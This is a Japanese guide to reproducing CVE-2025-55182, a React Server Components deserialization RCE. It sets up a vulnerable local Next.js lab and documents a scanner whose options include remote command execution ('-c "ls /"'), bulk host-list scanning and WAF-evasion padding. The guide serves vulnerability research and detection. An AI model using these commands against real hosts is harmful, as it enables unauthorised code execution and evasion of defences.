
CVE-2025-55182(React Server Components の逆シリアル化によるリモートコード実行の脆弱性)
| コンポーネント | 再現推奨バージョン | 脆弱性影響バージョン範囲 |
|---|---|---|
| Node.js | >= 20.9.0 | 20.9.0 (LTS) 以上 |
| Next.js | 15.0.0 | 15.x, 16.x(App Router) |
| React Core | 19.0.0 または 19.2.0 | 19.0.0 から 19.2.0 |
| RSC Bundler | react-server-dom-webpack | 19.0.0 から 19.2.0 |
低いバージョンを強制インストール
cd cve-2025-55182-target
npm install --force
依存関係のバージョンを確認
npm list react next
# 出力に [email protected] と [email protected] が表示されることを確認
トップレベルの依存関係リストに [email protected] と [email protected] が表示されていれば、環境は脆弱な状態に固定されています。ここでの警告やエラーコードは無視して構いません。
ビルド:
npm run build
実行:
npm start
サーバーは http://localhost:3000 で待機します。環境構築が完了しました。脆弱性検証を開始できます。
脆弱性検出/スキャン:
cd React2shell
python3 scanner.py -u http://127.0.0.1:3000/
RCE:
python3 scanner_with_rce.py -u http://127.0.0.1:3000/ -c "ls /"


Next.js アプリケーションにおける React Server Components(RSC)の脆弱性 CVE-2025-55182 および CVE-2025-66478 を検出するコマンドラインツールです。
脆弱性の技術詳細と検出手法の詳しい説明については、ブログ記事をご参照ください:https://slcyber.io/research-center/high-fidelity-detection-mechanism-for-rsc-next-js-rce-cve-2025-55182-cve-2025-66478
デフォルトでは、スキャナーは特別に細工されたマルチパート POST リクエストを送信します。このリクエストには、決定的な数学演算(41*271 = 11111)を実行するための RCE 検証ペイロードが含まれています。脆弱性のあるホストは、X-Action-Redirect レスポンスヘッダーに /login?a=11111 という形で計算結果を返します。
スキャナーはまずルートパスをテストします。ルートパスに脆弱性がない場合、同一オリジン内のリダイレクト(例:/ から /en/ へのリダイレクト)を追跡し、リダイレクト先をテストします。クロスオリジンのリダイレクトは追跡しません。
--safe-check フラグを使用すると、ターゲット上でコードを実行せずに、サイドチャネルシグナル(500 ステータスコードや特定のエラーサマリーなど)に依存する安全な検出モードが有効になります。RCE を実行したくない場合はこのモードを使用してください。
--waf-bypass フラグを使用すると、マルチパートリクエストボディの先頭にランダムなパディングデータが追加されます。これは、リクエストボディの前半部分のみを解析する WAF の検出を回避するのに役立ちます。デフォルトサイズは 128KB で、--waf-bypass-size で設定可能です。WAF バイパスを有効にすると、タイムアウトは自動的に 20 秒に増加します(明示的に設定されていない場合)。
--windows フラグを使用すると、ペイロードが Unix シェル(echo $((41*271)))から PowerShell(powershell -c "41*271")に切り替わり、Windows 上で動作するターゲットに適応します。
pip install -r requirements.txt
単一ホストのスキャン:
python3 scanner.py -u https://example.com
ホストリストのスキャン:
python3 scanner.py -l hosts.txt
マルチスレッドスキャンで結果を保存:
python3 scanner.py -l hosts.txt -t 20 -o results.json
カスタムリクエストヘッダーを使用したスキャン:
python3 scanner.py -u https://example.com -H "Authorization: Bearer token" -H "Cookie: session=abc"
セーフサイドチャネル検出を使用:
python3 scanner.py -u https://example.com --safe-check
Windows ターゲットのスキャン:
python3 scanner.py -u https://example.com --windows
WAF バイパスを使用したスキャン:
python3 scanner.py -u https://example.com --waf-bypass
RCE コマンドの実行:
python3 scanner.py -u https://example.com -c "ls /"
-u, --url チェックする単一の URL
-c, --cmd 実行するコマンド
-l, --list ホストのリストを含むファイル(1行に1つ)
-t, --threads 同時実行スレッド数(デフォルト:10)
--timeout リクエストのタイムアウト(秒、デフォルト:10)
-o, --output 結果を保存する出力ファイル(JSON形式)
--all-results 脆弱性のあるホストだけでなく、すべての結果を保存
-k, --insecure SSL 証明書の検証を無効化
-H, --header カスタムリクエストヘッダー(複数回使用可)
-v, --verbose 脆弱性のあるホストのレスポンス詳細を表示
-q, --quiet 脆弱性のあるホストのみを出力
--no-color カラー出力を無効化
--safe-check RCE PoC ではなくセーフなサイドチャネル検出を使用
--windows Unix シェルの代わりに Windows PowerShell ペイロードを使用
--waf-bypass WAF のコンテンツ検出を回避するためにパディングデータを追加
--waf-bypass-size パディングデータのサイズ(KB、デフォルト:128)
RCE PoC は当初 @maple3142 によって公開されました。利用可能な PoC を公開してくださったことに深く感謝します。
本ツールは当初、この RCE を安全に検出するために構築されました。この機能は現在も --safe-check セーフチェックモードで利用可能です。
結果は端末に出力されます。-o パラメータを使用すると、脆弱性のあるホストが検証用の完全な HTTP リクエストとレスポンスとともに JSON ファイルに保存されます。